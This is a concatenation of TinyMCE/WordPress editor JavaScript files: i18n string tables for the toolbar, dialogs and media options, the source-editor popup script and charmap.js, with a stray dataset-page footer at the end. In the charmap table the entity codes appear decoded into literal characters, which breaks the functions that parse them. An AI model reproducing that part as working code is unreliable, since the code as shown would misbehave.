"333300":"Dark olive",
"003300":"Dark green",
"003366":"Dark azure",
"000080":"Navy Blue",
"333399":"Indigo",
"333333":"Very dark gray",
"800000":"Maroon",
"FF6600":"Orange",
"808000":"Olive",
"008000":"Green",
"008080":"Teal",
"0000FF":"Blue",
"666699":"Grayish blue",
"808080":"Gray",
"FF0000":"Red",
"FF9900":"Amber",
"99CC00":"Yellow green",
"339966":"Sea green",
"33CCCC":"Turquoise",
"3366FF":"Royal blue",
"800080":"Purple",
"999999":"Medium gray",
"FF00FF":"Magenta",
"FFCC00":"Gold",
"FFFF00":"Yellow",
"00FF00":"Lime",
"00FFFF":"Aqua",
"00CCFF":"Sky blue",
"993366":"Brown",
"C0C0C0":"Silver",
"FF99CC":"Pink",
"FFCC99":"Peach",
"FFFF99":"Light yellow",
"CCFFCC":"Pale green",
"CCFFFF":"Pale cyan",
"99CCFF":"Light sky blue",
"CC99FF":"Plum",
"FFFFFF":"White"
},
contextmenu:{
align:"Alignment",
left:"Left",
center:"Center",
right:"Right",
full:"Full"
},
insertdatetime:{
date_fmt:"%Y-%m-%d",
time_fmt:"%H:%M:%S",
insertdate_desc:"Insert date",
inserttime_desc:"Insert time",
months_long:"January,February,March,April,May,June,July,August,September,October,November,December",
months_short:"Jan_January_abbreviation,Feb_February_abbreviation,Mar_March_abbreviation,Apr_April_abbreviation,May_May_abbreviation,Jun_June_abbreviation,Jul_July_abbreviation,Aug_August_abbreviation,Sep_September_abbreviation,Oct_October_abbreviation,Nov_November_abbreviation,Dec_December_abbreviation",
day_long:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday",
day_short:"Sun,Mon,Tue,Wed,Thu,Fri,Sat"
},
print:{
print_desc:"Print"
},
preview:{
preview_desc:"Preview"
},
directionality:{
ltr_desc:"Direction left to right",
rtl_desc:"Direction right to left"
},
layer:{
insertlayer_desc:"Insert new layer",
forward_desc:"Move forward",
backward_desc:"Move backward",
absolute_desc:"Toggle absolute positioning",
content:"New layer..."
},
save:{
save_desc:"Save",
cancel_desc:"Cancel all changes"
},
nonbreaking:{
nonbreaking_desc:"Insert non-breaking space character"
},
iespell:{
iespell_desc:"Run spell checking",
download:"ieSpell not detected. Do you want to install it now?"
},
advhr:{
advhr_desc:"Horizontale rule"
},
emotions:{
emotions_desc:"Emotions"
},
searchreplace:{
search_desc:"Find",
replace_desc:"Find/Replace"
},
advimage:{
image_desc:"Insert/edit image"
},
advlink:{
link_desc:"Insert/edit link"
},
xhtmlxtras:{
cite_desc:"Citation",
abbr_desc:"Abbreviation",
acronym_desc:"Acronym",
del_desc:"Deletion",
ins_desc:"Insertion",
attribs_desc:"Insert/Edit Attributes"
},
style:{
desc:"Edit CSS Style"
},
paste:{
paste_text_desc:"Paste as Plain Text",
paste_word_desc:"Paste from Word",
selectall_desc:"Select All",
plaintext_mode_sticky:"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.",
plaintext_mode:"Paste is now in plain text mode. Click again to toggle back to regular paste mode."
},
paste_dlg:{
text_title:"Use CTRL + V on your keyboard to paste the text into the window.",
text_linebreaks:"Keep linebreaks",
word_title:"Use CTRL + V on your keyboard to paste the text into the window."
},
table:{
desc:"Inserts a new table",
row_before_desc:"Insert row before",
row_after_desc:"Insert row after",
delete_row_desc:"Delete row",
col_before_desc:"Insert column before",
col_after_desc:"Insert column after",
delete_col_desc:"Remove column",
split_cells_desc:"Split merged table cells",
merge_cells_desc:"Merge table cells",
row_desc:"Table row properties",
cell_desc:"Table cell properties",
props_desc:"Table properties",
paste_row_before_desc:"Paste table row before",
paste_row_after_desc:"Paste table row after",
cut_row_desc:"Cut table row",
copy_row_desc:"Copy table row",
del:"Delete table",
row:"Row",
col:"Column",
cell:"Cell"
},
autosave:{
unload_msg:"The changes you made will be lost if you navigate away from this page."
},
fullscreen:{
desc:"Toggle fullscreen mode (Alt + Shift + G)"
},
media:{
desc:"Insert / edit embedded media",
edit:"Edit embedded media"
},
fullpage:{
desc:"Document properties"
},
template:{
desc:"Insert predefined template content"
},
visualchars:{
desc:"Visual control characters on/off."
},
spellchecker:{
desc:"Toggle spellchecker (Alt + Shift + N)",
menu:"Spellchecker settings",
ignore_word:"Ignore word",
ignore_words:"Ignore all",
langs:"Languages",
wait:"Please wait...",
sug:"Suggestions",
no_sug:"No suggestions",
no_mpell:"No misspellings found.",
learn_word:"Learn word"
},
pagebreak:{
desc:"Insert Page Break"
},
advlist:{
types:"Types",
def:"Default",
lower_alpha:"Lower alpha",
lower_greek:"Lower greek",
lower_roman:"Lower roman",
upper_alpha:"Upper alpha",
upper_roman:"Upper roman",
circle:"Circle",
disc:"Disc",
square:"Square"
},
aria:{
rich_text_area:"Rich Text Area"
},
wordcount:{
words:"Words: "
}
}});
tinyMCE.addI18n("en.advanced",{
style_select:"Styles",
font_size:"Font size",
fontdefault:"Font family",
block:"Format",
paragraph:"Paragraph",
div:"Div",
address:"Address",
pre:"Preformatted",
h1:"Heading 1",
h2:"Heading 2",
h3:"Heading 3",
h4:"Heading 4",
h5:"Heading 5",
h6:"Heading 6",
blockquote:"Blockquote",
code:"Code",
samp:"Code sample",
dt:"Definition term ",
dd:"Definition description",
bold_desc:"Bold (Ctrl / Alt + Shift + B)",
italic_desc:"Italic (Ctrl / Alt + Shift + I)",
underline_desc:"Underline",
striketrough_desc:"Strikethrough (Alt + Shift + D)",
justifyleft_desc:"Align Left (Alt + Shift + L)",
justifycenter_desc:"Align Center (Alt + Shift + C)",
justifyright_desc:"Align Right (Alt + Shift + R)",
justifyfull_desc:"Align Full (Alt + Shift + J)",
bullist_desc:"Unordered list (Alt + Shift + U)",
numlist_desc:"Ordered list (Alt + Shift + O)",
outdent_desc:"Outdent",
indent_desc:"Indent",
undo_desc:"Undo (Ctrl + Z)",
redo_desc:"Redo (Ctrl + Y)",
link_desc:"Insert/edit link (Alt + Shift + A)",
unlink_desc:"Unlink (Alt + Shift + S)",
image_desc:"Insert/edit image (Alt + Shift + M)",
cleanup_desc:"Cleanup messy code",
code_desc:"Edit HTML Source",
sub_desc:"Subscript",
sup_desc:"Superscript",
hr_desc:"Insert horizontal ruler",
removeformat_desc:"Remove formatting",
forecolor_desc:"Select text color",
backcolor_desc:"Select background color",
charmap_desc:"Insert custom character",
visualaid_desc:"Toggle guidelines/invisible elements",
anchor_desc:"Insert/edit anchor",
cut_desc:"Cut",
copy_desc:"Copy",
paste_desc:"Paste",
image_props_desc:"Image properties",
newdocument_desc:"New document",
help_desc:"Help",
blockquote_desc:"Blockquote (Alt + Shift + Q)",
clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.",
path:"Path",
newdocument:"Are you sure you want to clear all contents?",
toolbar_focus:"Jump to tool buttons - Alt + Q, Jump to editor - Alt-Z, Jump to element path - Alt-X",
more_colors:"More colors",
shortcuts_desc:"Accessibility Help",
help_shortcut:" Press ALT F10 for toolbar. Press ALT 0 for help.",
rich_text_area:"Rich Text Area",
toolbar:"Toolbar"
});
tinyMCE.addI18n("en.advanced_dlg",{
about_title:"About TinyMCE",
about_general:"About",
about_help:"Help",
about_license:"License",
about_plugins:"Plugins",
about_plugin:"Plugin",
about_author:"Author",
about_version:"Version",
about_loaded:"Loaded plugins",
anchor_title:"Insert/edit anchor",
anchor_name:"Anchor name",
code_title:"HTML Source Editor",
code_wordwrap:"Word wrap",
colorpicker_title:"Select a color",
colorpicker_picker_tab:"Picker",
colorpicker_picker_title:"Color picker",
colorpicker_palette_tab:"Palette",
colorpicker_palette_title:"Palette colors",
colorpicker_named_tab:"Named",
colorpicker_named_title:"Named colors",
colorpicker_color:"Color:",
colorpicker_name:"Name:",
charmap_title:"Select custom character",
image_title:"Insert/edit image",
image_src:"Image URL",
image_alt:"Image description",
image_list:"Image list",
image_border:"Border",
image_dimensions:"Dimensions",
image_vspace:"Vertical space",
image_hspace:"Horizontal space",
image_align:"Alignment",
image_align_baseline:"Baseline",
image_align_top:"Top",
image_align_middle:"Middle",
image_align_bottom:"Bottom",
image_align_texttop:"Text top",
image_align_textbottom:"Text bottom",
image_align_left:"Left",
image_align_right:"Right",
link_title:"Insert/edit link",
link_url:"Link URL",
link_target:"Target",
link_target_same:"Open link in the same window",
link_target_blank:"Open link in a new window",
link_titlefield:"Title",
link_is_email:"The URL you entered seems to be an email address, do you want to add the required mailto: prefix?",
link_is_external:"The URL you entered seems to external link, do you want to add the required http:// prefix?",
link_list:"Link list",
accessibility_help:"Accessibility Help",
accessibility_usage_title:"General Usage"
});
tinyMCE.addI18n("en.media_dlg",{
title:"Insert / edit embedded media",
general:"General",
advanced:"Advanced",
file:"File/URL",
list:"List",
size:"Dimensions",
preview:"Preview",
constrain_proportions:"Constrain proportions",
type:"Type",
id:"Id",
name:"Name",
class_name:"Class",
vspace:"V-Space",
hspace:"H-Space",
play:"Auto play",
loop:"Loop",
menu:"Show menu",
quality:"Quality",
scale:"Scale",
align:"Align",
salign:"SAlign",
wmode:"WMode",
bgcolor:"Background",
base:"Base",
flashvars:"Flashvars",
liveconnect:"SWLiveConnect",
autohref:"AutoHREF",
cache:"Cache",
hidden:"Hidden",
controller:"Controller",
kioskmode:"Kiosk mode",
playeveryframe:"Play every frame",
targetcache:"Target cache",
correction:"No correction",
enablejavascript:"Enable JavaScript",
starttime:"Start time",
endtime:"End time",
href:"href",
qtsrcchokespeed:"Choke speed",
target:"Target",
volume:"Volume",
autostart:"Auto start",
enabled:"Enabled",
fullscreen:"Fullscreen",
invokeurls:"Invoke URLs",
mute:"Mute",
stretchtofit:"Stretch to fit",
windowlessvideo:"Windowless video",
balance:"Balance",
baseurl:"Base URL",
captioningid:"Captioning id",
currentmarker:"Current marker",
currentposition:"Current position",
defaultframe:"Default frame",
playcount:"Play count",
rate:"Rate",
uimode:"UI Mode",
flash_options:"Flash options",
qt_options:"Quicktime options",
wmp_options:"Windows media player options",
rmp_options:"Real media player options",
shockwave_options:"Shockwave options",
autogotourl:"Auto goto URL",
center:"Center",
imagestatus:"Image status",
maintainaspect:"Maintain aspect",
nojava:"No java",
prefetch:"Prefetch",
shuffle:"Shuffle",
console:"Console",
numloop:"Num loops",
controls:"Controls",
scriptcallbacks:"Script callbacks",
swstretchstyle:"Stretch style",
swstretchhalign:"Stretch H-Align",
swstretchvalign:"Stretch V-Align",
sound:"Sound",
progress:"Progress",
qtsrc:"QT Src",
qt_stream_warn:"Streamed rtsp resources should be added to the QT Src field under the advanced tab.",
align_top:"Top",
align_right:"Right",
align_bottom:"Bottom",
align_left:"Left",
align_center:"Center",
align_top_left:"Top left",
align_top_right:"Top right",
align_bottom_left:"Bottom left",
align_bottom_right:"Bottom right",
flv_options:"Flash video options",
flv_scalemode:"Scale mode",
flv_buffer:"Buffer",
flv_startimage:"Start image",
flv_starttime:"Start time",
flv_defaultvolume:"Default volume",
flv_hiddengui:"Hidden GUI",
flv_autostart:"Auto start",
flv_loop:"Loop",
flv_showscalemodes:"Show scale modes",
flv_smoothvideo:"Smooth video",
flv_jscallback:"JS Callback",
html5_video_options:"HTML5 Video Options",
altsource1:"Alternative source 1",
altsource2:"Alternative source 2",
preload:"Preload",
poster:"Poster",
source:"Source"
});
tinyMCE.addI18n("en.wordpress",{
wp_adv_desc:"Show/Hide Kitchen Sink (Alt + Shift + Z)",
wp_more_desc:"Insert More Tag (Alt + Shift + T)",
wp_page_desc:"Insert Page break (Alt + Shift + P)",
wp_help_desc:"Help (Alt + Shift + H)",
wp_more_alt:"More...",
wp_page_alt:"Next page...",
add_media:"Add Media",
add_image:"Add an Image",
add_video:"Add Video",
add_audio:"Add Audio",
editgallery:"Edit Gallery",
delgallery:"Delete Gallery"
});
tinyMCE.addI18n("en.wpeditimage",{
edit_img:"Edit Image",
del_img:"Delete Image",
adv_settings:"Advanced Settings",
none:"None",
size:"Size",
thumbnail:"Thumbnail",
medium:"Medium",
full_size:"Full Size",
current_link:"Current Link",
link_to_img:"Link to Image",
link_help:"Enter a link URL or click above for presets.",
adv_img_settings:"Advanced Image Settings",
source:"Source",
width:"Width",
height:"Height",
orig_size:"Original Size",
css:"CSS Class",
adv_link_settings:"Advanced Link Settings",
link_rel:"Link Rel",
height:"Height",
orig_size:"Original Size",
css:"CSS Class",
s60:"60%",
s70:"70%",
s80:"80%",
s90:"90%",
s100:"100%",
s110:"110%",
s120:"120%",
s130:"130%",
img_title:"Title",
caption:"Caption",
alt:"Alternate Text"
});
| JavaScript |
tinyMCEPopup.requireLangPack();
tinyMCEPopup.onInit.add(onLoadInit);
function saveContent() {
tinyMCEPopup.editor.setContent(document.getElementById('htmlSource').value, {source_view : true});
tinyMCEPopup.close();
}
function onLoadInit() {
tinyMCEPopup.resizeToInnerSize();
// Remove Gecko spellchecking
if (tinymce.isGecko)
document.body.spellcheck = tinyMCEPopup.editor.getParam("gecko_spellcheck");
document.getElementById('htmlSource').value = tinyMCEPopup.editor.getContent({source_view : true});
if (tinyMCEPopup.editor.getParam("theme_advanced_source_editor_wrap", true)) {
setWrap('soft');
document.getElementById('wraped').checked = true;
}
resizeInputs();
}
function setWrap(val) {
var v, n, s = document.getElementById('htmlSource');
s.wrap = val;
if (!tinymce.isIE) {
v = s.value;
n = s.cloneNode(false);
n.setAttribute("wrap", val);
s.parentNode.replaceChild(n, s);
n.value = v;
}
}
function toggleWordWrap(elm) {
if (elm.checked)
setWrap('soft');
else
setWrap('off');
}
function resizeInputs() {
var vp = tinyMCEPopup.dom.getViewPort(window), el;
el = document.getElementById('htmlSource');
if (el) {
el.style.width = (vp.w - 20) + 'px';
el.style.height = (vp.h - 65) + 'px';
}
}
| JavaScript |
/**
* charmap.js
*
* Copyright 2009, Moxiecode Systems AB
* Released under LGPL License.
*
* License: http://tinymce.moxiecode.com/license
* Contributing: http://tinymce.moxiecode.com/contributing
*/
tinyMCEPopup.requireLangPack();
var charmap = [
[' ', ' ', true, 'no-break space'],
['&', '&', true, 'ampersand'],
['"', '"', true, 'quotation mark'],
// finance
['¢', '¢', true, 'cent sign'],
['€', '€', true, 'euro sign'],
['£', '£', true, 'pound sign'],
['¥', '¥', true, 'yen sign'],
// signs
['©', '©', true, 'copyright sign'],
['®', '®', true, 'registered sign'],
['™', '™', true, 'trade mark sign'],
['‰', '‰', true, 'per mille sign'],
['µ', 'µ', true, 'micro sign'],
['·', '·', true, 'middle dot'],
['•', '•', true, 'bullet'],
['…', '…', true, 'three dot leader'],
['′', '′', true, 'minutes / feet'],
['″', '″', true, 'seconds / inches'],
['§', '§', true, 'section sign'],
['¶', '¶', true, 'paragraph sign'],
['ß', 'ß', true, 'sharp s / ess-zed'],
// quotations
['‹', '‹', true, 'single left-pointing angle quotation mark'],
['›', '›', true, 'single right-pointing angle quotation mark'],
['«', '«', true, 'left pointing guillemet'],
['»', '»', true, 'right pointing guillemet'],
['‘', '‘', true, 'left single quotation mark'],
['’', '’', true, 'right single quotation mark'],
['“', '“', true, 'left double quotation mark'],
['”', '”', true, 'right double quotation mark'],
['‚', '‚', true, 'single low-9 quotation mark'],
['„', '„', true, 'double low-9 quotation mark'],
['<', '<', true, 'less-than sign'],
['>', '>', true, 'greater-than sign'],
['≤', '≤', true, 'less-than or equal to'],
['≥', '≥', true, 'greater-than or equal to'],
['–', '–', true, 'en dash'],
['—', '—', true, 'em dash'],
['¯', '¯', true, 'macron'],
['‾', '‾', true, 'overline'],
['¤', '¤', true, 'currency sign'],
['¦', '¦', true, 'broken bar'],
['¨', '¨', true, 'diaeresis'],
['¡', '¡', true, 'inverted exclamation mark'],
['¿', '¿', true, 'turned question mark'],
['ˆ', 'ˆ', true, 'circumflex accent'],
['˜', '˜', true, 'small tilde'],
['°', '°', true, 'degree sign'],
['−', '−', true, 'minus sign'],
['±', '±', true, 'plus-minus sign'],
['÷', '÷', true, 'division sign'],
['⁄', '⁄', true, 'fraction slash'],
['×', '×', true, 'multiplication sign'],
['¹', '¹', true, 'superscript one'],
['²', '²', true, 'superscript two'],
['³', '³', true, 'superscript three'],
['¼', '¼', true, 'fraction one quarter'],
['½', '½', true, 'fraction one half'],
['¾', '¾', true, 'fraction three quarters'],
// math / logical
['ƒ', 'ƒ', true, 'function / florin'],
['∫', '∫', true, 'integral'],
['∑', '∑', true, 'n-ary sumation'],
['∞', '∞', true, 'infinity'],
['√', '√', true, 'square root'],
['∼', '∼', false,'similar to'],
['≅', '≅', false,'approximately equal to'],
['≈', '≈', true, 'almost equal to'],
['≠', '≠', true, 'not equal to'],
['≡', '≡', true, 'identical to'],
['∈', '∈', false,'element of'],
['∉', '∉', false,'not an element of'],
['∋', '∋', false,'contains as member'],
['∏', '∏', true, 'n-ary product'],
['∧', '∧', false,'logical and'],
['∨', '∨', false,'logical or'],
['¬', '¬', true, 'not sign'],
['∩', '∩', true, 'intersection'],
['∪', '∪', false,'union'],
['∂', '∂', true, 'partial differential'],
['∀', '∀', false,'for all'],
['∃', '∃', false,'there exists'],
['∅', '∅', false,'diameter'],
['∇', '∇', false,'backward difference'],
['∗', '∗', false,'asterisk operator'],
['∝', '∝', false,'proportional to'],
['∠', '∠', false,'angle'],
// undefined
['´', '´', true, 'acute accent'],
['¸', '¸', true, 'cedilla'],
['ª', 'ª', true, 'feminine ordinal indicator'],
['º', 'º', true, 'masculine ordinal indicator'],
['†', '†', true, 'dagger'],
['‡', '‡', true, 'double dagger'],
// alphabetical special chars
['À', 'À', true, 'A - grave'],
['Á', 'Á', true, 'A - acute'],
['Â', 'Â', true, 'A - circumflex'],
['Ã', 'Ã', true, 'A - tilde'],
['Ä', 'Ä', true, 'A - diaeresis'],
['Å', 'Å', true, 'A - ring above'],
['Æ', 'Æ', true, 'ligature AE'],
['Ç', 'Ç', true, 'C - cedilla'],
['È', 'È', true, 'E - grave'],
['É', 'É', true, 'E - acute'],
['Ê', 'Ê', true, 'E - circumflex'],
['Ë', 'Ë', true, 'E - diaeresis'],
['Ì', 'Ì', true, 'I - grave'],
['Í', 'Í', true, 'I - acute'],
['Î', 'Î', true, 'I - circumflex'],
['Ï', 'Ï', true, 'I - diaeresis'],
['Ð', 'Ð', true, 'ETH'],
['Ñ', 'Ñ', true, 'N - tilde'],
['Ò', 'Ò', true, 'O - grave'],
['Ó', 'Ó', true, 'O - acute'],
['Ô', 'Ô', true, 'O - circumflex'],
['Õ', 'Õ', true, 'O - tilde'],
['Ö', 'Ö', true, 'O - diaeresis'],
['Ø', 'Ø', true, 'O - slash'],
['Œ', 'Œ', true, 'ligature OE'],
['Š', 'Š', true, 'S - caron'],
['Ù', 'Ù', true, 'U - grave'],
['Ú', 'Ú', true, 'U - acute'],
['Û', 'Û', true, 'U - circumflex'],
['Ü', 'Ü', true, 'U - diaeresis'],
['Ý', 'Ý', true, 'Y - acute'],
['Ÿ', 'Ÿ', true, 'Y - diaeresis'],
['Þ', 'Þ', true, 'THORN'],
['à', 'à', true, 'a - grave'],
['á', 'á', true, 'a - acute'],
['â', 'â', true, 'a - circumflex'],
['ã', 'ã', true, 'a - tilde'],
['ä', 'ä', true, 'a - diaeresis'],
['å', 'å', true, 'a - ring above'],
['æ', 'æ', true, 'ligature ae'],
['ç', 'ç', true, 'c - cedilla'],
['è', 'è', true, 'e - grave'],
['é', 'é', true, 'e - acute'],
['ê', 'ê', true, 'e - circumflex'],
['ë', 'ë', true, 'e - diaeresis'],
['ì', 'ì', true, 'i - grave'],
['í', 'í', true, 'i - acute'],
['î', 'î', true, 'i - circumflex'],
['ï', 'ï', true, 'i - diaeresis'],
['ð', 'ð', true, 'eth'],
['ñ', 'ñ', true, 'n - tilde'],
['ò', 'ò', true, 'o - grave'],
['ó', 'ó', true, 'o - acute'],
['ô', 'ô', true, 'o - circumflex'],
['õ', 'õ', true, 'o - tilde'],
['ö', 'ö', true, 'o - diaeresis'],
['ø', 'ø', true, 'o slash'],
['œ', 'œ', true, 'ligature oe'],
['š', 'š', true, 's - caron'],
['ù', 'ù', true, 'u - grave'],
['ú', 'ú', true, 'u - acute'],
['û', 'û', true, 'u - circumflex'],
['ü', 'ü', true, 'u - diaeresis'],
['ý', 'ý', true, 'y - acute'],
['þ', 'þ', true, 'thorn'],
['ÿ', 'ÿ', true, 'y - diaeresis'],
['Α', 'Α', true, 'Alpha'],
['Β', 'Β', true, 'Beta'],
['Γ', 'Γ', true, 'Gamma'],
['Δ', 'Δ', true, 'Delta'],
['Ε', 'Ε', true, 'Epsilon'],
['Ζ', 'Ζ', true, 'Zeta'],
['Η', 'Η', true, 'Eta'],
['Θ', 'Θ', true, 'Theta'],
['Ι', 'Ι', true, 'Iota'],
['Κ', 'Κ', true, 'Kappa'],
['Λ', 'Λ', true, 'Lambda'],
['Μ', 'Μ', true, 'Mu'],
['Ν', 'Ν', true, 'Nu'],
['Ξ', 'Ξ', true, 'Xi'],
['Ο', 'Ο', true, 'Omicron'],
['Π', 'Π', true, 'Pi'],
['Ρ', 'Ρ', true, 'Rho'],
['Σ', 'Σ', true, 'Sigma'],
['Τ', 'Τ', true, 'Tau'],
['Υ', 'Υ', true, 'Upsilon'],
['Φ', 'Φ', true, 'Phi'],
['Χ', 'Χ', true, 'Chi'],
['Ψ', 'Ψ', true, 'Psi'],
['Ω', 'Ω', true, 'Omega'],
['α', 'α', true, 'alpha'],
['β', 'β', true, 'beta'],
['γ', 'γ', true, 'gamma'],
['δ', 'δ', true, 'delta'],
['ε', 'ε', true, 'epsilon'],
['ζ', 'ζ', true, 'zeta'],
['η', 'η', true, 'eta'],
['θ', 'θ', true, 'theta'],
['ι', 'ι', true, 'iota'],
['κ', 'κ', true, 'kappa'],
['λ', 'λ', true, 'lambda'],
['μ', 'μ', true, 'mu'],
['ν', 'ν', true, 'nu'],
['ξ', 'ξ', true, 'xi'],
['ο', 'ο', true, 'omicron'],
['π', 'π', true, 'pi'],
['ρ', 'ρ', true, 'rho'],
['ς', 'ς', true, 'final sigma'],
['σ', 'σ', true, 'sigma'],
['τ', 'τ', true, 'tau'],
['υ', 'υ', true, 'upsilon'],
['φ', 'φ', true, 'phi'],
['χ', 'χ', true, 'chi'],
['ψ', 'ψ', true, 'psi'],
['ω', 'ω', true, 'omega'],
// symbols
['ℵ', 'ℵ', false,'alef symbol'],
['ϖ', 'ϖ', false,'pi symbol'],
['ℜ', 'ℜ', false,'real part symbol'],
['ϑ','ϑ', false,'theta symbol'],
['ϒ', 'ϒ', false,'upsilon - hook symbol'],
['℘', '℘', false,'Weierstrass p'],
['ℑ', 'ℑ', false,'imaginary part'],
// arrows
['←', '←', true, 'leftwards arrow'],
['↑', '↑', true, 'upwards arrow'],
['→', '→', true, 'rightwards arrow'],
['↓', '↓', true, 'downwards arrow'],
['↔', '↔', true, 'left right arrow'],
['↵', '↵', false,'carriage return'],
['⇐', '⇐', false,'leftwards double arrow'],
['⇑', '⇑', false,'upwards double arrow'],
['⇒', '⇒', false,'rightwards double arrow'],
['⇓', '⇓', false,'downwards double arrow'],
['⇔', '⇔', false,'left right double arrow'],
['∴', '∴', false,'therefore'],
['⊂', '⊂', false,'subset of'],
['⊃', '⊃', false,'superset of'],
['⊄', '⊄', false,'not a subset of'],
['⊆', '⊆', false,'subset of or equal to'],
['⊇', '⊇', false,'superset of or equal to'],
['⊕', '⊕', false,'circled plus'],
['⊗', '⊗', false,'circled times'],
['⊥', '⊥', false,'perpendicular'],
['⋅', '⋅', false,'dot operator'],
['⌈', '⌈', false,'left ceiling'],
['⌉', '⌉', false,'right ceiling'],
['⌊', '⌊', false,'left floor'],
['⌋', '⌋', false,'right floor'],
['⟨', '〈', false,'left-pointing angle bracket'],
['⟩', '〉', false,'right-pointing angle bracket'],
['◊', '◊', true, 'lozenge'],
['♠', '♠', true, 'black spade suit'],
['♣', '♣', true, 'black club suit'],
['♥', '♥', true, 'black heart suit'],
['♦', '♦', true, 'black diamond suit'],
[' ', ' ', false,'en space'],
[' ', ' ', false,'em space'],
[' ', ' ', false,'thin space'],
['‌', '‌', false,'zero width non-joiner'],
['‍', '‍', false,'zero width joiner'],
['‎', '‎', false,'left-to-right mark'],
['‏', '‏', false,'right-to-left mark'],
['­', '­', false,'soft hyphen']
];
tinyMCEPopup.onInit.add(function() {
tinyMCEPopup.dom.setHTML('charmapView', renderCharMapHTML());
addKeyboardNavigation();
});
function addKeyboardNavigation(){
var tableElm, cells, settings;
cells = tinyMCEPopup.dom.select(".charmaplink", "charmapgroup");
settings ={
root: "charmapgroup",
items: cells
};
tinyMCEPopup.editor.windowManager.createInstance('tinymce.ui.KeyboardNavigation', settings, tinyMCEPopup.dom);
}
function renderCharMapHTML() {
var charsPerRow = 20, tdWidth=20, tdHeight=20, i;
var html = '<div id="charmapgroup" aria-labelledby="charmap_label" tabindex="0" role="listbox">'+
'<table role="presentation" border="0" cellspacing="1" cellpadding="0" width="' + (tdWidth*charsPerRow) +
'"><tr height="' + tdHeight + '">';
var cols=-1;
for (i=0; i<charmap.length; i++) {
var previewCharFn;
if (charmap[i][2]==true) {
cols++;
previewCharFn = 'previewChar(\'' + charmap[i][1].substring(1,charmap[i][1].length) + '\',\'' + charmap[i][0].substring(1,charmap[i][0].length) + '\',\'' + charmap[i][3] + '\');';
html += ''
+ '<td class="charmap">'
+ '<a class="charmaplink" role="button" onmouseover="'+previewCharFn+'" onfocus="'+previewCharFn+'" href="javascript:void(0)" onclick="insertChar(\'' + charmap[i][1].substring(2,charmap[i][1].length-1) + '\');" onclick="return false;" onmousedown="return false;" title="' + charmap[i][3] + '">'
+ charmap[i][1]
+ '</a></td>';
if ((cols+1) % charsPerRow == 0)
html += '</tr><tr height="' + tdHeight + '">';
}
}
if (cols % charsPerRow > 0) {
var padd = charsPerRow - (cols % charsPerRow);
for (var i=0; i<padd-1; i++)
html += '<td width="' + tdWidth + '" height="' + tdHeight + '" class="charmap"> </td>';
}
html += '</tr></table></div>';
html = html.replace(/<tr height="20"><\/tr>/g, '');
return html;
}
function insertChar(chr) {
tinyMCEPopup.execCommand('mceInsertContent', false, '&#' + chr + ';');
// Refocus in window
if (tinyMCEPopup.isWindow)
window.focus();
tinyMCEPopup.editor.focus();
tinyMCEPopup.close();
}
function previewChar(codeA, codeB, codeN) {
var elmA = document.getElementById('codeA');
var elmB = document.getElementById('codeB');
var elmV = document.getElementById('codeV');
var elmN = document.getElementById('codeN');
if (codeA=='#160;') {
elmV.innerHTML = '__';
} else {
elmV.innerHTML = '&' + codeA;
}
elmB.innerHTML = '&' + codeA;
elmA.innerHTML = '&' + codeB;
elmN.innerHTML = codeN;
}
| JavaScript |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.